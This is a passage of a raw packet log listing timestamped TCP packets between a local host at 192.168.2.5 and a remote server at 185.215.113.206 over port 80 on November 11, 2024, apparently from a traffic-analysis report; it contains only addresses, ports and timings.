Nov 11, 2024 19:52:24.665776014 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.665788889 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.665800095 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.665800095 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.665802002 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.665815115 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.665826082 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.665826082 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.665838957 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.665846109 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.665860891 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.665865898 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.665873051 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.665884972 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.665885925 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.665893078 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.665903091 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.665914059 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.665925980 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.665937901 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.665946960 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.665946960 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.665946960 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.665950060 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.665957928 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.665957928 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.665962934 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.665965080 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.665975094 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.666021109 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.666021109 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.666073084 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.666141987 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.666203022 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.666214943 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.666224003 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.666235924 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.666248083 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.666260004 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.666270971 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.666282892 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.666292906 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.666289091 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.666289091 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.666305065 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.666316986 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.666322947 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.666332006 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.666342974 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.666342974 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.666342974 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.666357040 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.666368008 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.666373968 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.666382074 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.666388035 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.666394949 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.666407108 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.666419983 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.666420937 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.666431904 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.666443110 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.666455030 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.666466951 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.666480064 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.666480064 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.666480064 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.666481018 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.666491032 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.666493893 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.666507006 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.666518927 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.666532993 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.666532993 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.666537046 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.666539907 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.666548967 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.666563034 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.666563988 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.666563988 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.666575909 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.666587114 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.666594982 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.666594982 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.666598082 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.666610956 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.666611910 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.666623116 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.666630983 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.666630983 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.666635990 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.666647911 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.666660070 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.666662931 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.666673899 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.666686058 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.666687012 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.666698933 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.666711092 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.666717052 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.666723013 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.666723967 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.666735888 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.666748047 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.666760921 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.666774988 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.666775942 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.666775942 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.666800022 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.666800022 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.666877985 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.666971922 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.666984081 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.666994095 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.667006016 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.667013884 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.667017937 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.667031050 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.667036057 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.667042017 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.667053938 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.667066097 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.667068958 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.667068958 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.667077065 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.667088985 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.667099953 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.667119980 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.667119026 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.667119026 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.667119026 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.667131901 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.667145014 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.667157888 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.667159081 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.667185068 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.667192936 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.667192936 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.667192936 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.667198896 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.667211056 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.667221069 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.667222977 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.667234898 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.667247057 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.667258024 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.667264938 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.667264938 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.667264938 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.667264938 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.667269945 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.667277098 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.667283058 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.667295933 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.667310953 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.667327881 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.667327881 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.667340994 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.667344093 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.667352915 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.667365074 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.667376995 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.667390108 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.667402029 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.667407036 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.667407036 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.667407036 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.667413950 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.667424917 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.667437077 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.667440891 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.667440891 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.667450905 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.667464018 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.667464018 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.667475939 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.667488098 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.667494059 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.667500973 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.667512894 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.667520046 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.667524099 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.667536020 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.667547941 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.667557955 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.667557955 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.667558908 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.667583942 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.667587996 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.667599916 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.667610884 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.667617083 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.667617083 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.667624950 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.667637110 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.667649031 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.667649984 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.667694092 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.667694092 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.667753935 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.667799950 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.667813063 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.667824030 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.667834997 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.667848110 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.667859077 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.667865992 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.667872906 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.667886019 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.667886972 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.667897940 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.667901039 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.667917967 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.667932034 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.667946100 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.667956114 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.667959929 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.667973042 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.667982101 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.667984962 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.667995930 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.667998075 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.668009043 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.668020010 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.668025970 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.668042898 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.668055058 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.668066978 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.668077946 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.668077946 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.668077946 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.668078899 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.668077946 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.668091059 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.668102026 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.668112993 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.668113947 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.668124914 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.668134928 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.668137074 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.668148994 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.668158054 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.668158054 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.668168068 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.668179989 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.668191910 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.668195963 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.668204069 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.668215990 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.668217897 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.668217897 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.668227911 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.668240070 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.668251038 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.668263912 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.668265104 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.668265104 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.668277025 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.668289900 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.668298960 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.668299913 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.668302059 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.668308020 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.668314934 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.668327093 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.668342113 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.668346882 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.668354988 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.668366909 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.668378115 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.668379068 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.668379068 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.668395042 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.668407917 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.668411970 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.668421984 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.668433905 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.668438911 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.668438911 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.668445110 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.668489933 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.668489933 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.668553114 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.668632984 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.668644905 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.668658972 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.668673038 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.668684959 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.668697119 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.668708086 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.668711901 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.668711901 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.668711901 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.668720007 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.668731928 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.668742895 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.668756008 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.668761969 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.668761969 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.668768883 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.668787956 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.668788910 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.668801069 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.668812990 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.668824911 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.668832064 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.668832064 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.668838024 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.668853045 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.668855906 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.668864012 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.668875933 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.668889046 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.668900967 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.668910027 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.668910027 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.668910027 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.668911934 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.668931961 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.668943882 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.668955088 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.668967009 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.668984890 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.668984890 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.668986082 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.668998003 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.669003010 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.669009924 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.669022083 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.669033051 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.669042110 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.669042110 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.669044971 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.669056892 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.669059992 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.669069052 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.669080973 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.669091940 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.669095993 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.669095993 CET	49755	80	192.168.2.5	185.215.113.206
